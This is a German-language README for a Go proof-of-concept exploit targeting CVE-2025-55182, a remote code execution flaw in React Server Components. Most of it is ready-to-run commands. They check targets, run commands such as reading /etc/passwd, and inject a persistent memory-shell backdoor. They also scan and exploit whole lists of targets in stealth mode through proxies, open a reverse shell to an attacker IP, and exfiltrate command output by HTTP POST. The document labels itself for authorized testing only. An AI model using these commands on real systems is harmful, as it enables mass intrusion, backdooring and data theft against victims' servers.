Go-basierter Proof-of-Concept für CVE-2025-55182, eine kritische RCE in React Server Components. Enthält Schwachstellenprüfung, Befehlsausführung, Memory-Shell-Injection, Reverse Shell, Batch-Scanning und Proxy-Unterstützung für autorisierte Sicherheitstests.
⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS ⚠️
CVE-2025-55182 (auch bekannt als CVE-2025-66478) ist eine kritische Remote-Code-Ausführungs-Schwachstelle in React Server Components (Flight-Protokoll). Dieses Tool ist eine Go-Implementierung des PoC für Sicherheitsforschung und autorisierte Penetrationstests.
Betroffene Versionen:
Der Exploit nutzt Prototype Pollution in der Flight-Protokoll-Deserialisierung aus:
$@-Deserialisierung, um eine Chunk-Referenz zu erhaltenChunk.prototype.then als die then-Eigenschaft des Root-ObjektsRESOLVED_MODEL, um initializeModelChunk mit einem kontrollierten Fake-Chunk aufzurufenresponse._formData.get mit der Angreifer-Nutzlast aufruftresponse._formData.get auf den Function-Konstruktor für beliebige Codeausführung/exec?cmd=Laden Sie die neueste Version für Ihre Plattform von den GitHub-Releases herunter.
Verfügbare Binärdateien:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
Nach dem Ausführen von ./build.sh stehen die Binärdateien im Verzeichnis build/ für alle unterstützten Plattformen zur Verfügung.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| Option | Beschreibung |
|---|---|
-u, --url | Ziel-URL (z.B. http://localhost:3000) |
-f, --file | Datei mit Ziel-URLs (eine pro Zeile) |
--urls | Alias für -f/--file |
-o, --output | Ausgabedatei für verwundbare Ziele |
--json | Ergebnisse im JSON-Format ausgeben |
-c, --command | Auszuführender Befehl (mit Ausgabe) |
--check | Auf Schwachstelle prüfen |
--version-check | Next.js-Version erkennen |
--proxy | Proxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Benutzerdefinierter Header (mehrfach verwendbar) |
-k, --insecure | SSL/TLS-Zertifikatsprüfung überspringen |
--stealth | Stealth-Modus: browser, crawler, security (Standard: browser) |
--delay | Verzögerung zwischen Anfragen (z.B. 2s, 500ms) |
--variants | Mehrere Payload-Varianten für gründliche Prüfung verwenden |
--memshell | Memory-Shell injizieren (permanenter Backdoor) |
--test-shell | Testen, ob Memory-Shell aktiv ist |
--shell-exec | Befehl über Memory-Shell ausführen |
--revshell IP PORT | Reverse-Shell herstellen |
--exfil CMD IP PORT | Befehl ausführen und Ausgabe per POST senden |
-t, --timeout | Timeout für Anfragen in Sekunden (Standard: 15) |
--threads | Anzahl gleichzeitiger Threads (Standard: 10) |
--workers | Alias für --threads |
--nocolor | Farbausgabe deaktivieren (für Windows/Pipes) |
-h, --help | Hilfemeldung anzeigen |
-v, --version | Version anzeigen |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy